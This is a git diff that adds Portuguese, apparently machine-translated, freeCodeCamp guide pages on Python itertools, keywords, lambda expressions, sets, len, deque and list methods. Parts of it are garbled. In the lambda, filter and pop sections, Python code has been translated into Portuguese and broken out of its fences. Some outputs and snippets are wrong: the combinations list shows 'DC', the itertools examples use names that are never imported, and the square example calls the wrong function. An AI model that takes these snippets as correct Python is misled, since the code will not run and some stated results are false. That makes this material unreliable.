+A função islice () retorna um iterador que retorna itens selecionados do iterador de entrada, por índice. Leva os mesmos argumentos que o operador de fatia para listas: iniciar, parar e passo. Iniciar e parar são opcionais.
+
+```py
+import itertools 
+ list(itertools.islice(count(), 5)) 
+ 
+ # Output 
+ # [0,1, 2, 3, 4] 
+```
+
+### izip ()
+
+izip () retorna um iterador que combina os elementos de vários iteradores em tuplas. Ele funciona como a função interna zip (), exceto pelo fato de retornar um iterador ao invés de uma lista.
+
+```py
+import itertools 
+ list(izip([1, 2, 3], ['a', 'b', 'c'])) 
+ 
+ # Output 
+ # [(1, 'a'),(2, 'b'),(3, 'c')] 
+```
+
+Iteradores combinatórios:
+
+Resultados dos Argumentos do Iterador produto () p, q,… \[repeat = 1\] produto cartesiano, equivalente a um loop for aninhado permutações () p \[, r\] tuplas de comprimento r, todas as ordenações possíveis, sem elementos repetidos combinações () p, r tuplas de comprimento r, em ordem de classificação, sem elementos repetidos combinações _com_ tuplas de substituição () p, r r-length, em ordem de classificação, com elementos repetidos produto ('ABCD', repetir = 2) AA AB AC AD BA BB BC BD CA CD CC CD DA DB DC DD permutações ('ABCD', 2).
+
+combinações ('ABCD', 2) AB AC DC AD BD CD
+
+combinações _com_ substituição ('ABCD', 2) AA AB AC DC BB BC BD CC CD DD
+
+Fonte: https://docs.python.org/3/library/itertools.html
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/keywords/index.md b/client/src/guide/portuguese/python/keywords/index.md
new file mode 100644
index 0000000000..0fc540bed4
--- /dev/null
+++ b/client/src/guide/portuguese/python/keywords/index.md
@@ -0,0 +1,22 @@
+---
+title: Python Keywords
+localeTitle: Palavras-chave Python
+---
+## Palavras-chave Python
+
+O Python possui uma lista de [palavras-chave](https://docs.python.org/3/reference/lexical_analysis.html#keywords) que não podem ser usadas como identificadores (nomes de variáveis). Tentar usar qualquer uma dessas palavras-chave como variáveis ​​criará um **erro de sintaxe** e seu script Python não será executado:
+```
+>>> False = "Hello campers!" 
+ File "<stdin>" 
+ SyntaxError: can't assign to keyword 
+ 
+ >>> break = "Hello campers!" 
+ File "<stdin>", line 1 
+    break = "Hello campers!" 
+            ^ 
+    SyntaxError: invalid syntax 
+```
+
+#### Lista de palavras-chave
+
+Palavra chave | - | - | - | - --- | --- | --- | --- | --- `False` | `class` | `finally` | `is` | `return` `None` | `continue` | `for` | `lambda` | `try` `True` | `def` | `from` | `nonlocal` | `while` `and` | `del` | `global` | `not` | `with` `as` | `elif` | `if` | `or` | `yield` `assert` | `else` | `import` | `pass` `break` | `except` | `in` | `raise`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/lambda-expressions/index.md b/client/src/guide/portuguese/python/lambda-expressions/index.md
new file mode 100644
index 0000000000..017abec1b2
--- /dev/null
+++ b/client/src/guide/portuguese/python/lambda-expressions/index.md
@@ -0,0 +1,94 @@
+---
+title: Lambda Expressions
+localeTitle: Expressões Lambda
+---
+## Expressões Lambda
+
+Expressões Lambda são idealmente usadas quando temos algo simples para ser feito e estamos mais interessados ​​em fazer o trabalho rapidamente ao invés de nomear formalmente a função. Expressões lambda também conhecidas como funções anônimas. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/python/lambda-expressions/index.md) .
+
+Lambda Expressions em Python são um caminho curto para declarar funções pequenas e anônimas (não é necessário fornecer um nome para funções lambda). As funções do Lambda se comportam exatamente como as funções regulares declaradas com a palavra-chave `def` . Eles são úteis quando você quer definir uma pequena função de maneira concisa. Eles podem conter apenas uma expressão, portanto, não são mais adequados para funções com instruções de fluxo de controle. mestre
+
+#### Sintaxe da função Lambda
+
+`lambda arguments: expression`
+
+As funções lambda podem ter qualquer número de argumentos, mas apenas uma expressão
+
+#### Código de exemplo
+
+```py
+# Lambda function to calculate square of a number 
+ square = lambda x: x ** 2 
+ print(square(3)) # Output: 9 
+ 
+ # Traditional function to calculate square of a number 
+ def square1(num): 
+  return num ** 2 
+ print(square(5)) # Output: 25 
+```
+
+No exemplo lambda acima, lambda `lambda x: x ** 2` produz um objeto de função anônimo que pode ser associado a qualquer nome. Então, associamos o objeto da função ao `square` e, a partir de agora, podemos chamar o objeto `square` como qualquer função tradicional. por exemplo, `square(10)`
+
+## Exemplos
+
+### Principiante
+
+```py
+lambda_func = lambda x: x**2 # Function that takes an integer and returns its square 
+ lambda_func(3) # Returns 9 
+```
+
+### Intermediário
+
+```py
+lambda_func = lambda x: True if x**2 >= 10 else False 
+ lambda_func(3) # Returns False 
+ lambda_func(4) # Returns True 
+```
+
+### Complexo
+
+```py
+my_dict = {"A": 1, "B": 2, "C": 3} 
+ sorted(my_dict, key=lambda x: my_dict[x]%3) # Returns ['C', 'A', 'B'] 
+```
+
+### Caso de uso
+
+Digamos que você queira filtrar números ímpares de uma `list` . Você poderia usar um loop `for` :
+
+```python
+my_list = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] 
+ filtered = [] 
+ 
+ for num in my_list: 
+     if num % 2 != 0: 
+         filtered.append(num) 
+ 
+ print(filtered)      # Python 2: print filtered 
+ # [1, 3, 5, 7, 9] 
+ ``` 
+ 
+ You could write this as a one liner with list-comprehensions 
+```
+
+python filtrada = \[x para x em \[1, 2, 3, 4, 5, 6, 7, 8, 9, 10\] se x% 2! = 0\] \`\` \`
+
+Mas você pode se sentir tentado a usar a função de `filter` embutido. Por quê? O primeiro exemplo é um pouco a ser detalhado, o one-liner pode ser mais difícil de entender, enquanto o `filter` oferece o melhor das duas palavras. Além disso, as funções integradas são geralmente mais rápidas.
+
+\`\` \`python my\_list = \[1, 2, 3, 4, 5, 6, 7, 8, 9, 10\]
+
+filtrado = filtro (lambda x: x% 2! = 0, minha\_lista)
+
+lista (filtrada)
+
+# \[1, 3, 5, 7, 9\]
+
+` `` NOTE: in Python 3 built in function return generator objects, so you have to call` lista `, while in Python 2 they return a` lista `,` tupla `or` string\`.
+
+O que aconteceu? Você disse ao `filter` para pegar cada elemento em `my_list` e aplicar as expressões lambda. Os valores que retornam `False` são filtrados.
+
+#### Mais Informações:
+
+*   [Documento oficial](https://docs.python.org/3/reference/expressions.html#lambda)
+*   [Leia mais](https://dbader.org/blog/python-lambda-functions)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/learn-about-python-sets/index.md b/client/src/guide/portuguese/python/learn-about-python-sets/index.md
new file mode 100644
index 0000000000..7cab431562
--- /dev/null
+++ b/client/src/guide/portuguese/python/learn-about-python-sets/index.md
@@ -0,0 +1,35 @@
+---
+title: Learn About Python Sets
+localeTitle: Aprenda sobre os conjuntos de Python
+---
+`Set` s em Python são um tipo de estrutura de dados mutável, mas não ordenada, que pode conter apenas elementos _exclusivos_ .
+
+**Criação:**
+
+`set` literal:
+
+Os colchetes encaracolados, `{}` , _não podem_ ser usados ​​para criar um conjunto vazio:
+
+```python
+>>> not_set = {}     # set constructor must be used to make empty sets. 
+ >>> type(not_set)    # Empty curly brackets create empty dictionaries. 
+ <class 'dict'> 
+```
+
+Você só pode criar um conjunto vazio usando o método `set()` .
+
+```python
+>>> example_set = set() 
+ >>> type(example_set) 
+ <class 'set'> 
+```
+
+No entanto, se os elementos forem incluídos entre chaves, então seria uma sintaxe aceitável criar um conjunto.
+
+```python
+>>> example_set_2 = {1, 2, 3} 
+ >>> type(example_set_2) 
+ <class 'set'> 
+```
+
+\`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/len-function/index.md b/client/src/guide/portuguese/python/len-function/index.md
new file mode 100644
index 0000000000..0c56665b08
--- /dev/null
+++ b/client/src/guide/portuguese/python/len-function/index.md
@@ -0,0 +1,32 @@
+---
+title: Python Len Function
+localeTitle: Função Python Len
+---
+`len()` é uma função embutida no Python 3. Esse método retorna o tamanho (o número de itens) de um objeto. Leva um argumento `x` .
+
+## Argumentos
+
+Leva um argumento, `x` . Esse argumento pode ser uma sequência (como uma string, bytes, tupla, lista ou intervalo) ou uma coleção (como um dicionário, conjunto ou conjunto congelado).
+
+## Valor de retorno
+
+Esta função retorna o número de elementos no argumento que é passado para a função `len()` .
+
+## Amostra de código
+```
+list1 = [123, 'xyz', 'zara'] # list 
+ print(len(list1)) # prints 3 as there are 3 elements in the list1 
+ 
+ str1 = 'basketball' # string 
+ print(len(str1)) # prints 10 as the str1 is made of 10 characters 
+ 
+ tuple1 = (2, 3, 4, 5) # tuple 
+ print(len(tuple1)) # prints 4 as there are 4 elements in the tuple1 
+ 
+ dict1 = {'name': 'John', 'age': 4, 'score': 45} # dictionary 
+ print(len(dict1)) # prints 3 as there are 3 key and value pairs in the dict1 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CUmt/15)
+
+[Documentos oficiais](https://docs.python.org/3/library/functions.html#len)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/list-deque/index.md b/client/src/guide/portuguese/python/list-deque/index.md
new file mode 100644
index 0000000000..a8489c9aad
--- /dev/null
+++ b/client/src/guide/portuguese/python/list-deque/index.md
@@ -0,0 +1,32 @@
+---
+title: Deque
+localeTitle: e
+---
+## Usando lista como filas
+
+Também é possível usar uma lista como uma fila, onde é necessária uma operação FIFO ("first-in, first-out"). As listas não são eficientes como fila enquanto usa o appends e pops, já que ele pode ficar lento, já que todos os elementos terão que ser alterados por um para cada appends / pops.
+
+Para implementar uma fila, use collections.deque que foi projetado para ter anexos rápidos e pops de ambas as extremidades.
+
+#### Exemplo de uso
+
+```py
+from collections import deque 
+ queue = deque(["January", "February", "March", "April"] ) 
+ 
+ queue.append("May") 
+ 
+ queue.popleft() 
+ queue.popleft() 
+ 
+ print "Spring months in the list: ", queue 
+```
+
+#### Saída
+```
+Spring months in the list:  deque(['March', 'April', 'May']) 
+```
+
+#### Mais Informações:
+
+A documentação oficial para `collections.deque` pode ser encontrada [aqui](https://docs.python.org/3/library/collections.html#collections.deque)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/lists/index.md b/client/src/guide/portuguese/python/lists/index.md
new file mode 100644
index 0000000000..9734effb51
--- /dev/null
+++ b/client/src/guide/portuguese/python/lists/index.md
@@ -0,0 +1,124 @@
+---
+title: Lists
+localeTitle: Listas
+---
+**TODO: `list` informações básicas**
+
+[Documentos do Python - Listas](https://docs.python.org/3/library/stdtypes.html#lists)
+
+**Criação:**
+
+Uma `list` vazia é criada usando um par de colchetes:
+
+```shell
+>>> empty_list = [] 
+ >>> type(empty_list) 
+ <class 'list'> 
+ >>> len(empty_list) 
+ 0 
+```
+
+Uma `list` pode ser criada com elementos, colocando uma lista de elementos separados por vírgula com colchetes. As listas permitem que os elementos sejam de tipos diferentes (heterogêneos), mas são mais comumente de um único tipo (homogêneo):
+
+```shell
+>>> homogeneous_list = [1, 1, 2, 3, 5, 8] 
+ >>> type(homogeneous_list) 
+ <class 'list'> 
+ >>> print(homogeneous_list) 
+ [1, 1, 2, 3, 5, 8] 
+ >>> len(homogeneous_list) 
+ 6 
+ >>> heterogeneous_list = [1, "Hello Campers!"] 
+ >>> print(heterogeneous_list) 
+ [1, "Hello Campers!"] 
+ >>> len(heterogeneous_list) 
+ 2 
+```
+
+O construtor de `list` também pode ser usado para criar uma `list` :
+
+```shell
+>>> empty_list = list()                            # Creates an empty list 
+ >>> print(empty_list) 
+ [] 
+ >>> list_from_iterable = list("Hello campers!")    # Creates a list from an iterable. 
+ >>> print(list_from_iterable) 
+ ['H', 'e', 'l', 'l', 'o', ' ', 'c', 'a', 'm', 'p', 'e', 'r', 's', '!'] 
+```
+
+**Acessando elementos de uma `list` :**
+
+```shell
+>>> my_list = [1, 2, 9, 16, 25] 
+ >>> print(my_list) 
+ [1, 2, 9, 16, 25] 
+```
+
+_Zero indexado_
+
+```shell
+>>> my_list[0] 
+ 1 
+ >>> my_list[1] 
+ 2 
+ >>> my_list[2] 
+ 9 
+```
+
+_Envolva a indexação_
+
+```shell
+>>> my_list[-1] 
+ 25 
+ >>> my_list[-2] 
+ 16 
+```
+
+_Descompactando listas para python-3_
+
+```shell
+>>> print(*my_list) 
+ 1 2 9 16 25 
+```
+
+**Mutável:**
+
+`lists` são contêineres mutáveis. Contêineres mutáveis ​​são contêineres que permitem alterações em quais objetos estão contidos pelo contêiner. **TODO: ADICIONAR MAIS?**
+
+_Reorganizando elementos em uma lista_
+
+Elementos de uma `list` podem ser extraídos e reorganizados usando outra `list` como índice.
+
+```shell
+>>> my_list = [1, 2, 9, 16, 25, 34, 53, 21] 
+ >>> my_index = [5, 2, 0] 
+ >>> my_new_list = [my_list[i] for i in my_index] 
+ >>> print(my_new_list) 
+ [34, 9, 1] 
+```
+
+**TODO: Qual destes deve ser discutido aqui:**
+
+[Documentos em Python - Mais em listas](https://docs.python.org/3/tutorial/datastructures.html#more-on-lists)
+
+*   `list.append(x)` Adiciona um item ao final da lista. Equivalente a um \[len (a):\] = \[x\].
+    
+*   `list.extend(L)` Estenda a lista anexando todos os itens na lista fornecida. Equivalente a um \[len (a):\] = L.
+    
+*   `list.insert(i, x)` Insere um item em uma determinada posição. O primeiro argumento é o índice do elemento antes do qual inserir, portanto a.insert (0, x) é inserido na frente da lista, e a.insert (len (a), x) é equivalente a a.append ( x).
+    
+*   `list.remove(x)` Remove o primeiro item da lista cujo valor é x. É um erro se não houver tal item.
+    
+*   `list.pop([i])` Remova o item na posição determinada na lista e retorne-o. Se nenhum índice for especificado, a.pop () remove e retorna o último item da lista. (Os colchetes ao redor do i na assinatura do método indicam que o parâmetro é opcional, e não que você deve digitar colchetes nessa posição. Você verá essa notação com frequência na Referência da Biblioteca do Python.)
+    
+*   `list.clear()` Remove todos os itens da lista. Equivalente a del a \[:\].
+    
+*   `list.index(x)` Retorna o índice na lista do primeiro item cujo valor é x. É um erro se não houver tal item.
+    
+*   `list.count(x)` Retorna o número de vezes x aparece na lista.
+    
+*   `list.sort(key=None, reverse=False)` Ordene os itens da lista (os argumentos podem ser usados ​​para ordenar a customização, veja sorted () para sua explicação).
+    
+*   `list.reverse()` Inverta os elementos da lista no lugar.
+    
+*   `list.copy()` Retorna uma cópia superficial da lista. Equivalente a um \[:\].
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/lists/list-append-method/index.md b/client/src/guide/portuguese/python/lists/list-append-method/index.md
new file mode 100644
index 0000000000..439d2393ca
--- /dev/null
+++ b/client/src/guide/portuguese/python/lists/list-append-method/index.md
@@ -0,0 +1,26 @@
+---
+title: List Append Method
+localeTitle: Listar método Append
+---
+## Listar método Append
+
+Existem muitos métodos para listas, você pode explorar todos eles digitando `help(list)` em seu console python. Uma delas é a função append que, como o nome diz, acrescenta a lista de argumentos dada.
+
+#### Exemplo de uso
+
+```py
+words = ["I", "love", "Python"] 
+ words.append("very much") 
+ print(words) 
+```
+
+#### Saída
+```
+["I", "love", "Python", "very much"] 
+```
+
+Como você deve ter notado, o elemento `"very much"` é anexado à lista.
+
+#### Mais Informações:
+
+A documentação oficial para `append()` pode ser encontrada [aqui](https://docs.python.org/3.6/tutorial/datastructures.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/lists/list-comprehension/index.md b/client/src/guide/portuguese/python/lists/list-comprehension/index.md
new file mode 100644
index 0000000000..1b89fcda21
--- /dev/null
+++ b/client/src/guide/portuguese/python/lists/list-comprehension/index.md
@@ -0,0 +1,116 @@
+---
+title: List Comprehension
+localeTitle: Compreensão de lista
+---
+## Compreensão de lista
+
+A compreensão de lista é uma forma de percorrer uma lista para produzir uma nova lista com base em algumas condições. Pode ser confuso no começo, mas uma vez que você esteja acostumado com a sintaxe, ela é muito poderosa e rápida.
+
+O primeiro passo para aprender a usar a compreensão de listas é olhar para a maneira tradicional de fazer um loop através de uma lista. A seguir, um exemplo simples que retorna uma nova lista de números pares.
+
+```python
+# Example list for demonstration 
+ some_list = [1, 2, 5, 7, 8, 10] 
+ 
+ # Empty list that will be populate with a loop 
+ even_list = [] 
+ 
+ for number in some_list: 
+  if number % 2 == 0: 
+    even_list.append(number) 
+ 
+ # even_list now equals [2, 8, 10] 
+```
+
+Primeiro, uma lista é criada com alguns números. Em seguida, você cria uma lista vazia que armazenará seus resultados do loop. No loop, você verifica se cada número é divisível por 2 e, se for o caso, você adiciona o mesmo a lista de par. Isso levou 5 linhas de código, não incluindo comentários e espaço em branco, o que não é muito neste exemplo.
+
+Agora, para o exemplo de compreensão de lista.
+
+```python
+# Example list for demonstration 
+ some_list = [1, 2, 5, 7, 8, 10] 
+ 
+ # List Comprehension 
+ even_list = [number for number in some_list if number % 2 == 0] 
+ 
+ # even_list now equals [2, 8, 10] 
+```
+
+Outro exemplo, com os mesmos dois passos: A seguir, será criada uma lista de números que correspondem aos números em `my_starting_list` multiplicados por 7.
+
+```py
+my_starting_list = [1, 2, 3, 4, 5, 6, 7, 8] 
+ my_new_list = [] 
+ 
+ for item in my_starting_list: 
+ my_new_list.append(item * 7) 
+```
+
+Quando este código é executado, o valor final de `my_new_list` é: `[7, 14, 21, 28, 35, 42, 49, 56]`
+
+Um desenvolvedor usando a compreensão da lista pode obter o mesmo resultado usando a seguinte compreensão de lista, o que resulta na mesma `my_new_list` .
+
+```py
+my_starting_list = [1, 2, 3, 4, 5, 6, 7, 8] 
+ 
+ my_new_list = [item * 7 for item in my_starting_list] 
+```
+
+Uma fórmula simples para escrever de uma forma de compreensão de lista é:
+
+`my_list = [{operation with input n} for n in {python iterable}]`
+
+Substitua `{operation with input n}` por no entanto, você deseja alterar o item retornado do iterável. O exemplo acima usa `n * 7` mas a operação pode ser tão simples ou tão complexa quanto necessário.
+
+Substitua `{python iterable}` por qualquer iterável. [Tipos de seqüência](https://guide.freecodecamp.org/python/sequence-types) serão mais comuns. Uma lista foi usada no exemplo acima, mas tuplas e intervalos também são comuns.
+
+A compreensão da lista adiciona um elemento de uma lista existente a uma nova lista se alguma condição for atendida. É mais puro, mas também é muito mais rápido na maioria dos casos. Em alguns casos, a compreensão da lista pode dificultar a legibilidade, portanto, o desenvolvedor deve pesar suas opções ao escolher usar a compreensão da lista.
+
+## Exemplos de compreensão de lista com condicionais
+
+O fluxo de controle em compreensões de lista pode ser controlado usando condicionais. Por exemplo:
+
+```py
+only_even_list = [i for i in range(13) if i%2==0] 
+```
+
+Isso é equivalente ao seguinte loop:
+
+```py
+only_even_list = list() 
+ for i in range(13): 
+  if i%2 == 0: 
+    only_even_list.append(i) 
+```
+
+A compreensão da lista também pode conter condições aninhadas. Considere o seguinte loop:
+
+```py
+divisible = list() 
+ for i in range(50): 
+  if i%2 == 0: 
+    if i%3 == 0: 
+      divisible.append(i) 
+```
+
+Usando a compreensão da lista, isso pode ser escrito como:
+
+```py
+divisible = [i for i in range(50) if i%2==0 if i%3==0] 
+```
+
+A instrução If-Else também pode ser usada junto com a compreensão da lista.
+
+```py
+list_1 = [i if i%2==0 else i*-1 for i in range(10)] 
+```
+
+#### Mais Informações:
+
+[Estruturas de Dados Python - Listas](https://docs.python.org/2.7/tutorial/datastructures.html)
+
+[Python For Loops](https://guide.freecodecamp.org/python/for-loop-statements)
+
+[Listas de Python](https://guide.freecodecamp.org/python/learn-about-python-lists)
+
+[Python Para Iniciantes - Compre Compreensão](http://www.pythonforbeginners.com/basics/list-comprehensions-in-python)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/lists/list-extend-method/index.md b/client/src/guide/portuguese/python/lists/list-extend-method/index.md
new file mode 100644
index 0000000000..73fc4ce87b
--- /dev/null
+++ b/client/src/guide/portuguese/python/lists/list-extend-method/index.md
@@ -0,0 +1,25 @@
+---
+title: List Extend Method
+localeTitle: List Extend Method
+---
+## List Extend Method
+
+Existem muitos métodos para listas, você pode explorar todos eles digitando `help(list)` em seu console python. Uma delas é a função extend que, como o nome diz, estende a lista adicionando todos os itens de uma lista (passada como argumento) ao final.
+
+#### Exemplo de uso
+
+```py
+cities = ["San Francisco", "Los Angeles", "New York"] 
+ cities_in_texas = ["San Antonio", "Austin", "Dallas"] 
+ cities.extend(cities_in_texas) 
+ print(cities) 
+```
+
+#### Saída
+```
+["San Francisco", "Los Angeles", "New York", "San Antonio", "Austin", "Dallas"] 
+```
+
+#### Mais Informações:
+
+A documentação oficial de `extend()` pode ser encontrada [aqui](https://docs.python.org/3.6/tutorial/datastructures.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/lists/list-index-method/index.md b/client/src/guide/portuguese/python/lists/list-index-method/index.md
new file mode 100644
index 0000000000..02094c6adf
--- /dev/null
+++ b/client/src/guide/portuguese/python/lists/list-index-method/index.md
@@ -0,0 +1,59 @@
+---
+title: List Index Method
+localeTitle: Método do índice de lista
+---
+## Método do índice de lista
+
+Entre as muitas funções que vêm junto com a estrutura de dados da lista, o `index()` retorna a primeira ocorrência / índice do elemento na lista dada como um argumento para a função.
+
+As listas são a estrutura de dados mais básica do Python e armazenam uma lista de valores em ordem (em comparação aos dicionários, a ordem não importa). Nós recuperamos os itens por índice numérico.
+
+Tendo em mente o fato de que a indexação começa em 0, ou o primeiro elemento é considerado como sendo o índice 0, vamos dar uma olhada em alguns exemplos.
+
+#### Exemplo de uso:
+
+```py
+numbers = [1, 2, 2, 3, 9, 5, 6, 10] 
+ words = ["I", "love", "Python", "I", "love"] 
+ 
+ print(numbers.index(9)) 
+ print(numbers.index(2)) 
+ print(words.index("I")) 
+ print(words.index("am")) 
+```
+
+##### Saída:
+
+```py
+4 
+ 1 
+ 0 
+ Traceback (most recent call last): 
+  File "<stdin>", line 1, in <module> 
+ ValueError: 'am' is not in list 
+```
+
+Aqui a primeira saída é muito óbvia, mas a segunda e terceira podem parecer confusas no início. Mas lembre-se `index()` retorna a primeira ocorrência do elemento e, portanto, neste caso, `1` e `0` são os índices onde `2` e `"I"` ocorrem primeiro nas listas, respectivamente.
+
+Além disso, se um elemento não for encontrado na lista, um `ValueError` é retornado como no caso da indexação `"am"` na lista de `words` .
+
+#### Argumentos opcionais:
+
+Você também pode usar argumentos opcionais para limitar sua pesquisa a uma subsequência específica da lista, conforme ilustrado neste exemplo:
+
+```py
+words = ["I","am", "a", "I", "am", "Pythonista"] 
+ 
+ print(words.index("am",2,5)) 
+```
+
+##### Saída:
+```
+4 
+```
+
+Aqui, embora o elemento seja pesquisado entre os índices 2 (inclusive) e 5 (não inclusivo), mas o índice retornado é calculado em relação ao início da lista completa, em vez do argumento inicial.
+
+#### Mais Informações:
+
+A documentação oficial do `index()` pode ser encontrada [aqui](https://docs.python.org/3.6/tutorial/datastructures.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/lists/list-map-filter-reduce/index.md b/client/src/guide/portuguese/python/lists/list-map-filter-reduce/index.md
new file mode 100644
index 0000000000..7f5b462c3a
--- /dev/null
+++ b/client/src/guide/portuguese/python/lists/list-map-filter-reduce/index.md
@@ -0,0 +1,88 @@
+---
+title: Map, Reduce, Filter
+localeTitle: Mapa, Reduzir, Filtrar
+---
# Mapear, Reduzir e Filtrar
+
+A maioria dos engenheiros trabalha com listas para processar listas de pedidos / usuários, etc. A análise de listas pode se tornar complexa e desordenada rapidamente se usar vários loops for-loops aninhados. Portanto, esses métodos acima podem agilizar o uso de operações de lista.
+
+## Mapa
+
+Se sua tarefa é aplicar um método específico a cada elemento de uma lista, o mapa será útil. Digamos que você tenha uma lista de valores de graduação e gostaria de converter todos esses valores em uma lista de valores em unidades Fahrenheit.
+
+#### Exemplo de uso
+
+```py
+inputs = [10,32,5,40,25] 
+ 
+ def degreesToFahren(deg): 
+    fahrenheit = (9.0/5)*deg +32 
+    return fahrenheit 
+ 
+ # The most common way of doing this 
+ result=[] 
+ for i in inputs: 
+    iTofahren = degreesToFahren(i) 
+    result.append(iTofahren) 
+ print(result)   # [50.0, 89.6, 41.0, 104.0, 77.0] 
+```
+
+```py
+# Using Map 
+ result = list(map(degreesToFahren,inputs)) 
+ print(result) # [50.0, 89.6, 41.0, 104.0, 77.0] 
+```
+
+Como você deve ter notado, usar o mapa é simplesmente uma operação de um liner. Geralmente, se você tiver dados = `[a1,a2,...,an]` e uma função `f()` , então `map(f,data):` retorna um iterador sobre `f(a1),f(a2)...f(an).` use `list()` para converter o objeto iterador em uma lista python.
+
+## Filtro
+
+Função de filtro remove dados em uma lista que você precisa / não precisa, daí o nome. Digamos que você queira filtrar uma lista com base em valores que você não precisa, por exemplo, valores acima de 2.
+
+#### Exemplo de uso
+
+```py
+data = [1.2,2.5,5.8,0.4,4.7,9.9] 
+ result = list(filter(lambda x:x > 2,data)) 
+ print(result) 
+```
+
+#### Saída
+```
+[2.5, 5.8, 4.7, 9.9] 
+```
+
+Este também é um simples 1 liner semelhante à função map () acima. Consulte o tutorial sobre funções lambda se você achar que este termo não é familiar.
+
+## Reduzir
+
+Do criador de Python, Guido van Rossum `"Use functools.reduce if you really need it; however, 99% of the time an explicit for loop is more readable"`
+
+O que geralmente faz é aplicar uma função `f()` a elementos de dados em uma lista e usar esse resultado para o próximo valor na lista. Visualmente,
+
+Dados = \[a 1 , a 2 ,…, a n \] função = f (x, y)
+
+reduzir (f, dados): Etapa 1: val 1 = f (a 1 , a 2 ) Etapa 2: val 2 = f (val 1 , a 3 ) Etapa 3: val 3 = f (val 2 , a 4 ) . . . Etapa n-1: val n-1 = f (val n-2 , a n )
+
+Por exemplo, você deseja multiplicar todos os números em uma lista.
+
+#### Exemplo de uso
+
+```py
+from functools import reduce 
+ 
+ input = [1,2,3,4,5,6] 
+ multiplier = lambda x,y:x*y 
+ answer = reduce(multiplier,input) 
+ print(answer) 
+```
+
+#### Saída
+```
+720 
+```
+
+No entanto, o acima pode ser calculado usando um loop for simples e o uso desses métodos está sujeito à preferência.
+
+#### Mais Informações:
+
+A documentação oficial dos métodos acima pode ser encontrada em http://book.pythontips.com/en/latest/map\_filter.html
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/lists/list-pop/index.md b/client/src/guide/portuguese/python/lists/list-pop/index.md
new file mode 100644
index 0000000000..17094a2904
--- /dev/null
+++ b/client/src/guide/portuguese/python/lists/list-pop/index.md
@@ -0,0 +1,31 @@
+---
+title: List Pop Method
+localeTitle: Listar Método Pop
+---
+# Função Pop
+
+O método pop () remove e retorna o último elemento da lista. Existe um parâmetro opcional, índice do elemento a ser removido da lista. Se nenhum índice for especificado, a.pop () remove e retorna o último item da lista. Se o índice passado para o método pop () não estiver no intervalo, ele lançará IndexError: exceção de índice pop fora do intervalo.
+
+#### Exemplo de uso
+
+\`\` \`py cidades = \['Nova York', 'Dallas', 'San Antonio', 'Houston', 'San Francisco'\];
+
+print "Cidade estourada é:", cities.pop () print "Cidade no índice 2 é:", cities.pop (2) \`\` \`
+
+Saída #### `City popped is : San Francisco City at index 2 is : San Antonio`
+
+#### Funcionalidade básica de pilha
+
+O método `pop()` é frequentemente usado em conjunto com `append()` para implementar a funcionalidade básica da pilha em um aplicativo Python.
+
+```py
+stack = [] 
+ 
+ for i in range(5): 
+    stack.append(i) 
+ 
+ while len(stack): 
+    print(stack.pop()) 
+```
+
+\#### Mais Informações: A documentação oficial do `pop()` pode ser encontrada [aqui](https://docs.python.org/3.6/tutorial/datastructures.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/lists/list-remove-method/index.md b/client/src/guide/portuguese/python/lists/list-remove-method/index.md
new file mode 100644
index 0000000000..92bb9ce991
--- /dev/null
+++ b/client/src/guide/portuguese/python/lists/list-remove-method/index.md
@@ -0,0 +1,40 @@
+---
+title: List Remove Method
+localeTitle: List Remove Method
+---
+## List Remove Method
+
+O método remove `remove()` remove o argumento dado a ele da lista.
+
+#### Exemplo de uso
+
+```py
+words = ["I", "love", "Python"] 
+ words.remove("I") 
+ print(words) 
+```
+
+#### Saída
+
+```py
+["love","Python"] 
+```
+
+Observe que ele retornará um erro se o elemento a ser removido não for encontrado na lista, conforme ilustrado no exemplo abaixo.
+
+```py
+kiss = ["keep", "it", "simple", "stupid"] 
+ kiss.remove("complex") 
+ print(kiss) 
+```
+
+#### Saída
+```
+Traceback (most recent call last): 
+  File "<stdin>", line 1, in <module> 
+ ValueError: list.remove(x): x not in list 
+```
+
+#### Mais Informações:
+
+Mais informações sobre `remove()` podem ser encontradas [aqui](https://docs.python.org/3.6/tutorial/datastructures.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/lists/list-sort-method/index.md b/client/src/guide/portuguese/python/lists/list-sort-method/index.md
new file mode 100644
index 0000000000..d2f0e74802
--- /dev/null
+++ b/client/src/guide/portuguese/python/lists/list-sort-method/index.md
@@ -0,0 +1,109 @@
+---
+title: List Sort Method
+localeTitle: Método de classificação de lista
+---
+## Método de classificação de lista
+
+As listas do Python possuem um método `sort()` interno que modifica a lista no local e uma função `sorted()` que cria uma nova lista classificada a partir de um iterável.
+
+list.sort (key =…, reverse = \[verdadeiro / falso\])
+
+### Parâmetros
+
+Existem dois parâmetros opcionais para este método _key_ - O valor de entrada para o parâmetro key deve ser uma função que usa um único argumento e retorna um valor usado para comparações para classificar os itens na lista. _reverse = \[valor\]_ _value = True_ : classifica os itens na lista em ordem decrescente _value = False_ : classifica os itens na lista em ordem crescente. Esse é considerado o valor padrão. Por favor, note que o método `sort()` não retorna nenhum valor. Modifica a lista original.
+
+### Exemplo de uso
+
+```py
+a = [4, 2, 5, 3, 1] 
+ a.sort() 
+ print a # prints [1, 2, 3, 4, 5] 
+ 
+ b = ['free', 'code', 'camp'] 
+ b.sort() 
+ print b # prints ['camp', 'code', 'free'] 
+```
+
+Considere um exemplo com o parâmetro **reverso**
+
+```py
+a = [4, 2, 5, 3, 1] 
+ 
+ #Sorts the list in descending order 
+ a.sort(reverse=True) 
+ 
+ print a # prints [5, 4, 3, 2, 1] 
+```
+
